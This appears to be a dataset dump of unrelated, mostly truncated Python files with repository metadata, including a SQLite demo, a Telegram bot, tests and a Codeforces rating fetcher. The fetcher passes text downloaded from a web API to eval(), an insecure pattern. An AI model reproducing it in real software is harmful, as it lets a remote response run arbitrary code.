from highway_env... | 49.662651 | 203 | 0.576257 | 1,491 | 12,366 | 4.600268 | 0.165661 | 0.034699 | 0.024785 | 0.016037 | 0.417845 | 0.386499 | 0.33416 | 0.306604 | 0.250328 | 0.210964 | 0 | 0.036853 | 0.300016 | 12,366 | 248 | 204 | 49.862903 | 0.755545 | 0.208071 | 0 | 0.10828 | 0 | 0 | 0.054587 | 0.020979 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057325 | false | 0.006369 | 0.076433 | 0.006369 | 0.210191 | 0.012739 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9e2f40ec8188b47714aa6c85a2a8b8fcf7896b9 | 1,285 | py | Python | demo_data.py | lechemrc/DS-Unit-3-Sprint-2-SQL-and-Databases | edab19d5c73af7c6f15eb5dc3f31d2c5fce558fd | [
"MIT"
] | null | null | null | demo_data.py | lechemrc/DS-Unit-3-Sprint-2-SQL-and-Databases | edab19d5c73af7c6f15eb5dc3f31d2c5fce558fd | [
"MIT"
] | null | null | null | demo_data.py | lechemrc/DS-Unit-3-Sprint-2-SQL-and-Databases | edab19d5c73af7c6f15eb5dc3f31d2c5fce558fd | [
"MIT"
] | null | null | null | import sqlite3
sl_conn = sqlite3.connect('demo_data.sqlite3')
sl_cur = sl_conn.cursor()
# Creating table demo
table = """
CREATE TABLE demo(
s VARCHAR (10),
x INT,
y INT
);
"""
sl_cur.execute('DROP TABLE demo')
sl_cur.execute(table)
# Checking for table creation accura... | 22.946429 | 63 | 0.631907 | 197 | 1,285 | 4 | 0.335025 | 0.088832 | 0.106599 | 0.068528 | 0.408629 | 0.379442 | 0.379442 | 0.310914 | 0.310914 | 0.310914 | 0 | 0.01712 | 0.227237 | 1,285 | 56 | 64 | 22.946429 | 0.776435 | 0.171984 | 0 | 0.425 | 0 | 0.025 | 0.497006 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.025 | 0 | 0.025 | 0.075 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9e3c1de91dc697b91606440bb81f175a4344975 | 4,679 | py | Python | code/edit.py | Seeyapm/MyDollarBot-BOTGo | f26b6ee49a2497406e2f8c783368164d6c386d28 | [
"MIT"
] | 1 | 2021-12-01T06:47:35.000Z | 2021-12-01T06:47:35.000Z | code/edit.py | Seeyapm/MyDollarBot-BOTGo | f26b6ee49a2497406e2f8c783368164d6c386d28 | [
"MIT"
] | 37 | 2021-11-04T05:41:29.000Z | 2021-11-05T03:31:44.000Z | code/edit.py | sak007/MyDollarBot | f26b6ee49a2497406e2f8c783368164d6c386d28 | [
"MIT"
] | 5 | 2021-11-18T18:23:50.000Z | 2022-01-09T16:02:50.000Z | import re
import helper
from telebot import types
def run(m, bot):
chat_id = m.chat.id
markup = types.ReplyKeyboardMarkup(one_time_keyboard=True)
markup.row_width = 2
for c in helper.getUserHistory(chat_id):
expense_data = c.split(',')
str_date = "Date=" + expense_data[0]
str_c... | 40.686957 | 123 | 0.653131 | 699 | 4,679 | 4.11588 | 0.157368 | 0.079249 | 0.034758 | 0.038234 | 0.636774 | 0.587417 | 0.566215 | 0.566215 | 0.492527 | 0.479319 | 0 | 0.015222 | 0.213721 | 4,679 | 114 | 124 | 41.04386 | 0.766784 | 0 | 0 | 0.46875 | 0 | 0.010417 | 0.092755 | 0.020517 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0.03125 | 0 | 0.114583 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9e45a9537e83bc6e4c763dbf8b21bd0ddb46129 | 802 | py | Python | board/utility.py | ben741863140/cfsystem | 227e269f16533719251962f4d8caee8b51091d2f | [
"Apache-2.0"
] | 4 | 2018-02-22T01:59:07.000Z | 2020-07-09T06:28:46.000Z | board/utility.py | ben741863140/cfsystem | 227e269f16533719251962f4d8caee8b51091d2f | [
"Apache-2.0"
] | null | null | null | board/utility.py | ben741863140/cfsystem | 227e269f16533719251962f4d8caee8b51091d2f | [
"Apache-2.0"
] | null | null | null | import requests
from bs4 import BeautifulSoup
def get_rating(handle):
handle = str(handle)
url = 'http://codeforces.com/api/user.info?handles=' + handle
results = BeautifulSoup(requests.get(url).text, 'html.parser').text
results = eval(results)
if results['status'] != 'OK':
resul... | 30.846154 | 72 | 0.617207 | 97 | 802 | 5.072165 | 0.391753 | 0.02439 | 0.04878 | 0.093496 | 0.134146 | 0.134146 | 0.134146 | 0 | 0 | 0 | 0 | 0.004847 | 0.22818 | 802 | 25 | 73 | 32.08 | 0.789984 | 0 | 0 | 0 | 0 | 0 | 0.226512 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0 | 0.095238 | 0 | 0.333333 | 0.047619 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9e509c7d64ad4f3481c6bd6a8b0e4e0168ff090 | 11,320 | py | Python | testlunr/unit/storage/helper/utils/test_worker.py | PythonGirlSam/lunr | 9476436a46d377fab26674d41ac7444d98df1cbd | [
"Apache-2.0"
] | 6 | 2015-11-09T14:16:26.000Z | 2018-04-05T14:27:35.000Z | testlunr/unit/storage/helper/utils/test_worker.py | PythonGirlSam/lunr | 9476436a46d377fab26674d41ac7444d98df1cbd | [
"Apache-2.0"
] | 16 | 2016-01-28T20:16:47.000Z | 2019-03-07T07:30:29.000Z | testlunr/unit/storage/helper/utils/test_worker.py | SaumyaRackspace/lunr | 9476436a46d377fab26674d41ac7444d98df1cbd | [
"Apache-2.0"
] | 18 | 2015-10-23T10:10:52.000Z | 2020-12-15T07:11:52.000Z | #!/usr/bin/env python
# Copyright (c) 2011-2016 Rackspace US, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 37.359736 | 74 | 0.599205 | 1,302 | 11,320 | 5.050691 | 0.188172 | 0.027372 | 0.054745 | 0.021898 | 0.562804 | 0.50441 | 0.460158 | 0.420164 | 0.407695 | 0.387774 | 0 | 0.016131 | 0.288074 | 11,320 | 302 | 75 | 37.483444 | 0.799851 | 0.066519 | 0 | 0.487705 | 0 | 0 | 0.07235 | 0.003414 | 0 | 0 | 0 | 0 | 0.131148 | 1 | 0.081967 | false | 0 | 0.053279 | 0 | 0.155738 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9e5663a61967eebf2017ef64a32596ecc3c2534 | 3,112 | py | Python | server/tests/unit/eb/test_eb.py | mdylan2/single-cell-explorer | 775e59fcf5c105bbe70edd17dbf1d2153c4f662c | [
"MIT"
] | 2 | 2021-08-30T16:32:16.000Z | 2022-03-25T22:36:23.000Z | server/tests/unit/eb/test_eb.py | mdylan2/single-cell-explorer | 775e59fcf5c105bbe70edd17dbf1d2153c4f662c | [
"MIT"
] | 194 | 2021-08-18T23:52:44.000Z | 2022-03-30T19:40:41.000Z | server/tests/unit/eb/test_eb.py | mdylan2/single-cell-explorer | 775e59fcf5c105bbe70edd17dbf1d2153c4f662c | [
"MIT"
] | 1 | 2022-01-21T09:20:15.000Z | 2022-01-21T09:20:15.000Z | import os
from unittest.mock import patch
import requests
import subprocess
import tempfile
import time
import unittest
from contextlib import contextmanager
from server.common.config.app_config import AppConfig
from server.tests import PROJECT_ROOT, FIXTURES_ROOT
@contextmanager
def run_eb_app(tempdirname):
ps... | 37.493976 | 119 | 0.641067 | 347 | 3,112 | 5.570605 | 0.40634 | 0.028453 | 0.026384 | 0.019659 | 0.141749 | 0.141749 | 0.10657 | 0.10657 | 0.06208 | 0.06208 | 0 | 0.006037 | 0.25482 | 3,112 | 82 | 120 | 37.95122 | 0.827512 | 0.026028 | 0 | 0.044776 | 0 | 0 | 0.16518 | 0.051536 | 0 | 0 | 0 | 0 | 0.074627 | 1 | 0.044776 | false | 0.029851 | 0.149254 | 0 | 0.208955 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9e6e31bd3c6e72131078bf0a6956ecb4db026ee | 649 | py | Python | scheduling/common/input.py | makspll/OS-Scripts | 021b0a569ee0e64cb8a8e23cdd5b7ea6104a8d99 | [
"MIT"
] | null | null | null | scheduling/common/input.py | makspll/OS-Scripts | 021b0a569ee0e64cb8a8e23cdd5b7ea6104a8d99 | [
"MIT"
] | null | null | null | scheduling/common/input.py | makspll/OS-Scripts | 021b0a569ee0e64cb8a8e23cdd5b7ea6104a8d99 | [
"MIT"
] | null | null | null |
from typing import List
from enum import Enum
from .units import Process, Unit, Track
class Mode(Enum):
PROCESS = 0
DISK = 1
PAGE = 2
class Reader():
def __init__(self) -> None:
pass
def read(self,mode : Mode, path : str ) -> List[Unit]:
with open(path,"r") as f:
cr... | 20.935484 | 58 | 0.522342 | 79 | 649 | 4.240506 | 0.518987 | 0.071642 | 0.095522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007426 | 0.377504 | 649 | 30 | 59 | 21.633333 | 0.821782 | 0 | 0 | 0 | 0 | 0 | 0.001548 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0.047619 | 0.142857 | 0 | 0.52381 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9e73606f7f41fdb21cfe2e7660f8da5614d729c | 957 | py | Python | pylisk/create_transaction.py | t-kimber/PyLisk | b303221eae5af85577866b61a665d58219f121cd | [
"MIT"
] | null | null | null | pylisk/create_transaction.py | t-kimber/PyLisk | b303221eae5af85577866b61a665d58219f121cd | [
"MIT"
] | 12 | 2021-12-15T13:21:06.000Z | 2022-01-26T13:05:38.000Z | pylisk/create_transaction.py | t-kimber/pylisk | b303221eae5af85577866b61a665d58219f121cd | [
"MIT"
] | null | null | null | """
Script to create a transaction.
"""
from hashlib import sha256
from pylisk.transaction import BalanceTransferTransaction
from pylisk.account import Account
def main():
address = "lskjks9w7v7wd6kg5gkt9eq5tvzu2w5vwfdc3ptkw"
acc = Account.from_info({"address": address})
bal_trs = BalanceTransferTransa... | 23.925 | 89 | 0.687565 | 103 | 957 | 6.106796 | 0.582524 | 0.028617 | 0.050874 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.098274 | 0.213166 | 957 | 39 | 90 | 24.538462 | 0.737052 | 0.032393 | 0 | 0 | 0 | 0 | 0.243184 | 0.114504 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0 | 0.115385 | 0 | 0.153846 | 0.038462 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9ee3e2d59a60ee5b5ca120d2e41aae3d0a460cf | 256 | py | Python | submissions/abc120/b.py | m-star18/atcoder | 08e475810516602fa088f87daf1eba590b4e07cc | [
"Unlicense"
] | 1 | 2021-05-10T01:16:28.000Z | 2021-05-10T01:16:28.000Z | submissions/abc120/b.py | m-star18/atcoder | 08e475810516602fa088f87daf1eba590b4e07cc | [
"Unlicense"
] | 3 | 2021-05-11T06:14:15.000Z | 2021-06-19T08:18:36.000Z | submissions/abc120/b.py | m-star18/atcoder | 08e475810516602fa088f87daf1eba590b4e07cc | [
"Unlicense"
] | null | null | null | a, b, k = map(int, input().split())
mx = max(a, b)
match, ans = 0, 0
for i in range(mx):
if ((a % (mx - i)) == 0) and ((b % (mx - i)) == 0):
match += 1
ans = mx - i
if match == k:
break
print(ans)
| 18.285714 | 55 | 0.378906 | 41 | 256 | 2.365854 | 0.512195 | 0.092784 | 0.082474 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033784 | 0.421875 | 256 | 13 | 56 | 19.692308 | 0.621622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9f61c14f73a64dee1f29930eb0caeda4f5890cd | 815 | py | Python | h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_6853_glm_plot.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 6,098 | 2015-05-22T02:46:12.000Z | 2022-03-31T16:54:51.000Z | h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_6853_glm_plot.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 2,517 | 2015-05-23T02:10:54.000Z | 2022-03-30T17:03:39.000Z | h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_6853_glm_plot.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 2,199 | 2015-05-22T04:09:55.000Z | 2022-03-28T22:20:45.000Z | from __future__ import print_function
import sys
sys.path.insert(1,"../../../")
import h2o
from tests import pyunit_utils
from h2o.estimators.glm import H2OGeneralizedLinearEstimator
def test_glm_plot():
training_data = h2o.import_file(pyunit_utils.locate("smalldata/logreg/benign.csv"))
Y = 3
X = [0, 1, ... | 30.185185 | 87 | 0.687117 | 117 | 815 | 4.555556 | 0.623932 | 0.061914 | 0.061914 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034743 | 0.18773 | 815 | 26 | 88 | 31.346154 | 0.770393 | 0.08589 | 0 | 0 | 0 | 0 | 0.08637 | 0.036437 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.272727 | 0 | 0.318182 | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9f972e3f0ce11289703edace28d7d79fca045c9 | 4,521 | py | Python | tutorials/03_exact_integration_simple.py | TruongQuocChien/FFTHomPy | 2c23c80dd2cab46f1090103e613b4f886b3daac7 | [
"MIT"
] | 18 | 2015-03-14T20:08:57.000Z | 2021-01-25T11:08:40.000Z | tutorials/03_exact_integration_simple.py | vondrejc/FFTHomPy | 2c23c80dd2cab46f1090103e613b4f886b3daac7 | [
"MIT"
] | null | null | null | tutorials/03_exact_integration_simple.py | vondrejc/FFTHomPy | 2c23c80dd2cab46f1090103e613b4f886b3daac7 | [
"MIT"
] | 10 | 2015-08-31T20:18:13.000Z | 2021-06-03T10:20:57.000Z | from __future__ import division, print_function
print("""
Numerical homogenisation based on exact integration, which is described in
J. Vondrejc, Improved guaranteed computable bounds on homogenized properties
of periodic media by FourierGalerkin method with exact integration,
Int. J. Numer. Methods Eng., 2016.
This ... | 39.313043 | 110 | 0.656492 | 802 | 4,521 | 3.67581 | 0.293017 | 0.030868 | 0.020353 | 0.020353 | 0.158752 | 0.138399 | 0.107191 | 0.107191 | 0.074627 | 0.059701 | 0 | 0.027675 | 0.160805 | 4,521 | 114 | 111 | 39.657895 | 0.749341 | 0.180491 | 0 | 0 | 0 | 0 | 0.190613 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02439 | false | 0 | 0.04878 | 0 | 0.109756 | 0.060976 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9f9c4d3526307e32a5500958c3dd33e1cedd8eb | 2,289 | py | Python | pipeline/io/xml.py | probonas/pipeline | 96f565f2d827498efd31a7e76b74e0394ef2abc1 | [
"Apache-2.0"
] | 5 | 2020-04-11T15:12:07.000Z | 2021-09-13T04:15:47.000Z | pipeline/io/xml.py | probonas/pipeline | 96f565f2d827498efd31a7e76b74e0394ef2abc1 | [
"Apache-2.0"
] | 46 | 2019-04-22T20:36:40.000Z | 2022-01-12T18:03:32.000Z | pipeline/io/xml.py | probonas/pipeline | 96f565f2d827498efd31a7e76b74e0394ef2abc1 | [
"Apache-2.0"
] | 2 | 2020-05-27T20:49:53.000Z | 2021-03-17T04:21:38.000Z | import sys
import lxml.etree
from bonobo.constants import NOT_MODIFIED
from bonobo.nodes.io.file import FileReader
from bonobo.config import Configurable, Option, Service
class XMLReader(FileReader):
'''
A FileReader that parses an XML file and yields lxml.etree Element objects matching
the given XPath expression.... | 23.121212 | 85 | 0.676715 | 326 | 2,289 | 4.601227 | 0.337423 | 0.042 | 0.037333 | 0.058667 | 0.275333 | 0.234667 | 0.18 | 0.18 | 0.18 | 0.18 | 0 | 0.002142 | 0.18436 | 2,289 | 98 | 86 | 23.357143 | 0.801285 | 0.138488 | 0 | 0.253333 | 0 | 0 | 0.098563 | 0.0154 | 0 | 0 | 0 | 0 | 0 | 1 | 0.093333 | false | 0 | 0.066667 | 0 | 0.426667 | 0.053333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9fac466d61fa4e1209093752784a51baa09d5f3 | 3,063 | py | Python | YukkiMusic/utils/formatters.py | VasuXD/YukkiMusicBot | d7fdbd46d9fc793daedf624fa34fe644119bcb25 | [
"MIT"
] | null | null | null | YukkiMusic/utils/formatters.py | VasuXD/YukkiMusicBot | d7fdbd46d9fc793daedf624fa34fe644119bcb25 | [
"MIT"
] | null | null | null | YukkiMusic/utils/formatters.py | VasuXD/YukkiMusicBot | d7fdbd46d9fc793daedf624fa34fe644119bcb25 | [
"MIT"
] | null | null | null | #
# Copyright (C) 2021-2022 by TeamYukki@Github, < https://github.com/TeamYukki >.
#
# This file is part of < https://github.com/TeamYukki/YukkiMusicBot > project,
# and is released under the "GNU v3.0 License Agreement".
# Please see < https://github.com/TeamYukki/YukkiMusicBot/blob/master/LICENSE >
#
# All rights res... | 22.195652 | 80 | 0.501469 | 405 | 3,063 | 3.679012 | 0.387654 | 0.044295 | 0.028188 | 0.046309 | 0.142953 | 0.048322 | 0.048322 | 0.024161 | 0.024161 | 0.024161 | 0 | 0.046523 | 0.319295 | 3,063 | 137 | 81 | 22.357664 | 0.668106 | 0.106105 | 0 | 0.053571 | 0 | 0 | 0.085138 | 0.009908 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0.017857 | 0 | 0.151786 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9fea1cdc53e3c61b7fd002e8743d6e65365ae7f | 3,742 | py | Python | karbor-1.3.0/karbor/services/operationengine/user_trust_manager.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | 1 | 2021-05-23T01:48:25.000Z | 2021-05-23T01:48:25.000Z | karbor-1.3.0/karbor/services/operationengine/user_trust_manager.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | 5 | 2019-08-14T06:46:03.000Z | 2021-12-13T20:01:25.000Z | karbor-1.3.0/karbor/services/operationengine/user_trust_manager.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | 2 | 2020-03-15T01:24:15.000Z | 2020-07-22T20:34:26.000Z | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# d... | 35.980769 | 78 | 0.646713 | 492 | 3,742 | 4.528455 | 0.223577 | 0.056553 | 0.06912 | 0.087522 | 0.48474 | 0.450628 | 0.402603 | 0.366248 | 0.286355 | 0.218133 | 0 | 0.001837 | 0.272582 | 3,742 | 103 | 79 | 36.330097 | 0.816679 | 0.145911 | 0 | 0.422535 | 0 | 0 | 0.053442 | 0.006916 | 0 | 0 | 0 | 0 | 0 | 1 | 0.126761 | false | 0 | 0.028169 | 0.028169 | 0.295775 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9fec7c77af3629a8aa1a529833cc19bcd959e3d | 7,309 | py | Python | config/custom_components/huesyncbox/__init__.py | LRvdLinden/homeassistant-config | 4f0e8bb08329b8af08fc90cb1699a9314e297ab7 | [
"MIT"
] | 288 | 2021-04-27T07:25:04.000Z | 2022-03-23T14:38:36.000Z | config/custom_components/huesyncbox/__init__.py | givemhell/homeassistant-config | 8ca951d299cb4df19e5fcc37bfea38c9f04f5a2a | [
"MIT"
] | 6 | 2021-04-30T10:47:24.000Z | 2022-01-12T01:14:15.000Z | config/custom_components/huesyncbox/__init__.py | givemhell/homeassistant-config | 8ca951d299cb4df19e5fcc37bfea38c9f04f5a2a | [
"MIT"
] | 28 | 2021-04-30T23:58:07.000Z | 2022-02-15T04:33:46.000Z | """The Philips Hue Play HDMI Sync Box integration."""
import asyncio
import logging
import json
import os
import voluptuous as vol
from homeassistant.config_entries import ConfigEntry
from homeassistant.core import HomeAssistant
from homeassistant.helpers import (config_validation as cv)
from homeassistant.helpers.co... | 39.722826 | 383 | 0.738131 | 968 | 7,309 | 5.272727 | 0.163223 | 0.028213 | 0.044083 | 0.031348 | 0.501763 | 0.370102 | 0.304859 | 0.210227 | 0.144005 | 0.144005 | 0 | 0.0005 | 0.178684 | 7,309 | 183 | 384 | 39.939891 | 0.849742 | 0.036393 | 0 | 0.195489 | 0 | 0 | 0.019501 | 0.006452 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.097744 | 0 | 0.12782 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7016a36ae131d4a62b304569a0a5345a17c8a87 | 495 | py | Python | modeling/networks/proxylessnas.py | RunpeiDong/DGMS | 1f6a7ca9f39a2bc31cfade1e45967b006ea6532d | [
"Apache-2.0"
] | 2 | 2022-01-03T05:25:01.000Z | 2022-01-06T23:08:50.000Z | modeling/networks/proxylessnas.py | RunpeiDong/DGMS | 1f6a7ca9f39a2bc31cfade1e45967b006ea6532d | [
"Apache-2.0"
] | null | null | null | modeling/networks/proxylessnas.py | RunpeiDong/DGMS | 1f6a7ca9f39a2bc31cfade1e45967b006ea6532d | [
"Apache-2.0"
] | 1 | 2022-02-28T01:13:30.000Z | 2022-02-28T01:13:30.000Z | import torch
def proxyless_nas_mobile(args):
target_platform = "proxyless_mobile" # proxyless_gpu, proxyless_mobile, proxyless_mobile14 are also avaliable.
if args.pretrained:
model = torch.hub.load('mit-han-lab/ProxylessNAS', target_platform, pretrained=True)
print("ImageNet pretrained Proxyle... | 45 | 114 | 0.739394 | 62 | 495 | 5.758065 | 0.564516 | 0.117647 | 0.134454 | 0.095238 | 0.347339 | 0.347339 | 0.347339 | 0.347339 | 0.347339 | 0.347339 | 0 | 0.016787 | 0.157576 | 495 | 10 | 115 | 49.5 | 0.839329 | 0.143434 | 0 | 0 | 0 | 0 | 0.336493 | 0.113744 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0 | 0.333333 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e701d8319474ec61648531dd3164c26ea90f0f94 | 3,504 | py | Python | hellopy/test/utils/test.py | odys-z/hello | 39ca67cae34eb4bc4cbd848a06b3c0d65a995954 | [
"MIT"
] | null | null | null | hellopy/test/utils/test.py | odys-z/hello | 39ca67cae34eb4bc4cbd848a06b3c0d65a995954 | [
"MIT"
] | 3 | 2021-04-17T18:36:24.000Z | 2022-03-04T20:30:09.000Z | hellopy/test/utils/test.py | odys-z/hello | 39ca67cae34eb4bc4cbd848a06b3c0d65a995954 | [
"MIT"
] | null | null | null | '''
Created on 22 Dec 2019
@author: ody
'''
import unittest
from utils.Assrt import Eq, AssertErr, XdArrParser
class Test(unittest.TestCase):
def testArrEq(self):
eq = Eq()
try:
eq.int2dArr([[]], [[1]])
self.fail("Error not checked")
except AssertErr as e:
... | 27.375 | 91 | 0.435788 | 451 | 3,504 | 3.368071 | 0.13969 | 0.164582 | 0.137591 | 0.094799 | 0.695853 | 0.64977 | 0.613562 | 0.56287 | 0.535221 | 0.535221 | 0 | 0.108941 | 0.342466 | 3,504 | 128 | 92 | 27.375 | 0.550347 | 0.027397 | 0 | 0.451613 | 0 | 0.010753 | 0.108824 | 0 | 0 | 0 | 0 | 0 | 0.11828 | 1 | 0.043011 | false | 0 | 0.021505 | 0 | 0.086022 | 0.11828 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e705a57826a489b26a0995f0c679c1815e1975ce | 701 | py | Python | anagram.py | Tatooine-Soldier/Beginner_projects | d6c77793e5d58860318cc95e0aedaef6f4b128db | [
"Apache-2.0"
] | null | null | null | anagram.py | Tatooine-Soldier/Beginner_projects | d6c77793e5d58860318cc95e0aedaef6f4b128db | [
"Apache-2.0"
] | null | null | null | anagram.py | Tatooine-Soldier/Beginner_projects | d6c77793e5d58860318cc95e0aedaef6f4b128db | [
"Apache-2.0"
] | null | null | null | def anagram(s1, s2):
result = False #set your base
if len(s1) == len(s2): #can't be anagrams if diff length
count = 0 #used to check for matches
i = 0
while i < len(s1): #'outer loop' for s1
j = 0
